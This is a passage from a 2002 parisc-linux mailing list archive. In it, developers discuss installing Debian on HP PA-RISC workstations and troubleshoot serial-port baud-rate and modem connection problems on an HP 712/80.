X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15164

Quoting Bruno Lon <nonolemono@yahoo.fr>:

> >But now an easiest way for you would certainly be to download a more
> recent
> >cd-image into: http://pateam.esiee.fr/cd-images/testing/
> >(see also explanation on http://pateam.esiee.fr/download.html#deb
> page)
> 
> >I am confident that this solution will help you successfully,
> 
> Thanks for that Joel, after downloading this cd-image, I managed to
> install
> the debian system on the B1000 workstation.
> 
> However, I'm trying to install packages using apt-get and dselect, but
> none
> of the website seems to reply, or they do not accept me.
> Which url did you use to install additionnal packeges ?
>  
For my part I could not made a complete install from apt-get because I did have
connection to internet. So I used the shell to copy my b180 with nfs.

Never the less I do frequently apt-get update via following url:

deb http://ftp.de.debian.org/debian unstable main contrib non-free
deb http://ftp.de.debian.org/debian-non-US unstable/non-US main contrib non-free

Happy to help you,
	Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 17:43:27 +0200 (CEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <1024587807.3d11f81f99d8d@webmail.tiscalinet.be>
References: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621417 9194 80.91.229.3 (22 Nov 2014 01:56:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 09:44:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E2174867
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 09:44:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L45o-0006yM-00; Thu, 20 Jun 2002 17:43:28 +0200
In-Reply-To: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 62.235.240.170
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15165

Quoting Joachim Steiger <roh@hyte.de>:

> 
> i just played around with my machine and stated that setting the
> baudrate
> on the serial(rs232) to 57600(8n1) didnt work...
> using 9600baud works ok
> 
> i was using minicom to connect to another machine (an embed. ppc) via
> nullmodem-cable
> 
> i was using minicom on my pc in the same config (debian unstable,
> 2.4.16-adc1 on the pc, debian unstable, 2.4.17-32 from debian on the
> hppa)
> 
> anybody noticed a similar behaviour?
> or are just all baudrates other than 9600 broken on the hppa-kernel?
> 
On my 712/80, I also experiment some problems when I try to connect my ISP via
ppp;
"pon MyIsp" failled as follow :
...
Jun 20 18:35:30 palinux2 chat[18284]: send (ATZ^M)
Jun 20 18:35:30 palinux2 chat[18284]: expect (OK)
Jun 20 18:36:15 palinux2 chat[18284]: alarm
Jun 20 18:36:15 palinux2 chat[18284]: send (AT^M)
Jun 20 18:36:15 palinux2 chat[18284]: expect (OK)
Jun 20 18:37:00 palinux2 chat[18284]: alarm
Jun 20 18:37:00 palinux2 chat[18284]: Failed
Jun 20 18:37:00 palinux2 pppd[18283]: Connect script failed
Jun 20 18:37:01 palinux2 pppd[18283]: Exit.
...

But do not find enough time to investigate in much detail this problem, sorry :(

Joel

PS: this same modem connection works perfectly from a pc?

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 17:45:05 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206201743550.4475-100000@reactor.hyte.de>
References: <1024587807.3d11f81f99d8d@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621417 9195 80.91.229.3 (22 Nov 2014 01:56:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 09:46:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BD3C486D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 09:46:27 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17L47N-0001AZ-00; Thu, 20 Jun 2002 17:45:05 +0200
In-Reply-To: <1024587807.3d11f81f99d8d@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15166


On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:

> But do not find enough time to investigate in much detail this problem, sorry :(
neither i did... but if this is a 'new thingie' i'll take a closer look
> 
> Joel
> 
> PS: this same modem connection works perfectly from a pc?
yes.. it also worked perfectly on 9600baud

roh




From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 17:59:08 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <1024588748.3d11fbcc675a2@webmail.tiscalinet.be>
References: <Pine.LNX.4.21.0206201743550.4475-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621418 9199 80.91.229.3 (22 Nov 2014 01:56:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:58 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:00:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 681FD486A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:00:10 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L4Ky-0007D6-00; Thu, 20 Jun 2002 17:59:08 +0200
In-Reply-To: <Pine.LNX.4.21.0206201743550.4475-100000@reactor.hyte.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 62.235.240.170
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15167

Quoting Joachim Steiger <roh@hyte.de>:

> 
> 
> On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:
> 
> > But do not find enough time to investigate in much detail this
> problem, sorry :(
> neither i did... but if this is a 'new thingie' i'll take a closer look
> > 
> > Joel
> > 
> > PS: this same modem connection works perfectly from a pc?
> yes.. it also worked perfectly on 9600baud
> 
Do not works for me?
In pppconfig I force 9600 bauds MyIsp connection, but do I also have to forc?
the modem config to 9600bauds?

Thanks for advise,
	joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 18:07:36 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206201804430.4597-100000@reactor.hyte.de>
References: <1024588748.3d11fbcc675a2@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621418 9201 80.91.229.3 (22 Nov 2014 01:56:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:08:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F3D04871
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:08:52 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17L4TA-0001CD-00; Thu, 20 Jun 2002 18:07:36 +0200
In-Reply-To: <1024588748.3d11fbcc675a2@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15168


On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:

> Do not works for me?
> In pppconfig I force 9600 bauds MyIsp connection, but do I also have to forc?
> the modem config to 9600bauds?
> 
> Thanks for advise,
> 	joel

i think the problem in this case could be that the 'handshake-wires' on
the serial are also not working?

i don't use them (no flow control at all) so i do'nt know..

i never used analog modems to dialin... we got isdn pretty early *eg*
so i can just 'think loud'

can you 'speak AT' to your modem via minicom or some app similar?

roh




From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 18:13:23 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1024589603.3d11ff23d499b@webmail.tiscalinet.be>
References: <Pine.LNX.4.21.0206201743550.4475-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621418 9203 80.91.229.3 (22 Nov 2014 01:56:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:58 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:14:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B97544866
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:14:30 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L4Ym-0007PU-00; Thu, 20 Jun 2002 18:13:24 +0200
In-Reply-To: <Pine.LNX.4.21.0206201743550.4475-100000@reactor.hyte.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 62.235.240.170
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15169

Quoting Joachim Steiger <roh@hyte.de>:

> 
> 
> On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:
> 
> > But do not find enough time to investigate in much detail this
> problem, sorry :(
> neither i did... but if this is a 'new thingie' i'll take a closer look
> > 
> > Joel
> > 
> > PS: this same modem connection works perfectly from a pc?
> yes.. it also worked perfectly on 9600baud
> 
Hmm, I find back my 712 Owner's guide in witch it is mentionned that "The port
operates at up to a 19.2k baud rate."

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 18:21:26 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206201817550.4636-100000@reactor.hyte.de>
References: <1024589603.3d11ff23d499b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621419 9206 80.91.229.3 (22 Nov 2014 01:56:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:22:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86958486B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:22:46 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17L4gY-0001Cq-00; Thu, 20 Jun 2002 18:21:26 +0200
In-Reply-To: <1024589603.3d11ff23d499b@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15170


On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:

> Hmm, I find back my 712 Owner's guide in witch it is mentionned that "The port
> operates at up to a 19.2k baud rate."
> 
> Joel

ugh... but shouldnt the serial driver return -EIO or -EINVAL when setting
a unsupported baudrate?

roh




From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 18:37:52 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1024591071.3d1204e002784@webmail.tiscalinet.be>
References: <Pine.LNX.4.21.0206201817550.4636-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621419 9210 80.91.229.3 (22 Nov 2014 01:56:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:59 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:38:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3D4A4869
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:38:53 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L4wS-0007mW-00; Thu, 20 Jun 2002 18:37:52 +0200
In-Reply-To: <Pine.LNX.4.21.0206201817550.4636-100000@reactor.hyte.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 62.235.240.170
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15171

Quoting Joachim Steiger <roh@hyte.de>:

> 
> 
> On Thu, 20 Jun 2002 joel.soete@freebel.net wrote:
> 
> > Hmm, I find back my 712 Owner's guide in witch it is mentionned that
> "The port
> > operates at up to a 19.2k baud rate."
> > 
> > Joel
> 
> ugh... but shouldnt the serial driver return -EIO or -EINVAL when
> setting
> a unsupported baudrate?

Dono, sorry (I do not have enough knowledge :( )

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 17:43:40 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020620174340.Z9435@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621419 9212 80.91.229.3 (22 Nov 2014 01:56:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 10:43:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 101D0486E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:43:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17L524-0005La-00; Thu, 20 Jun 2002 17:43:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>; from roh@hyte.de on Thu, Jun 20, 2002 at 04:49:12PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15172

On Thu, Jun 20, 2002 at 04:49:12PM +0200, Joachim Steiger wrote:
> i just played around with my machine and stated that setting the baudrate
> on the serial(rs232) to 57600(8n1) didnt work...
> using 9600baud works ok

according to the lasi ERS, provided on the website, the lasi serial port
works up to 454k baud.  it's supposed to programmatically identical to
the 16550A.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 13:48:20 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20020620174820.GE4111@systemhalted>
References: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621419 9213 80.91.229.3 (22 Nov 2014 01:56:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joachim Steiger <roh@hyte.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 11:48:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 605F44865
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 11:48:19 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17L62e-0001NF-00; Thu, 20 Jun 2002 13:48:20 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joachim Steiger <roh@hyte.de>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15173

> 
> i just played around with my machine and stated that setting the baudrate
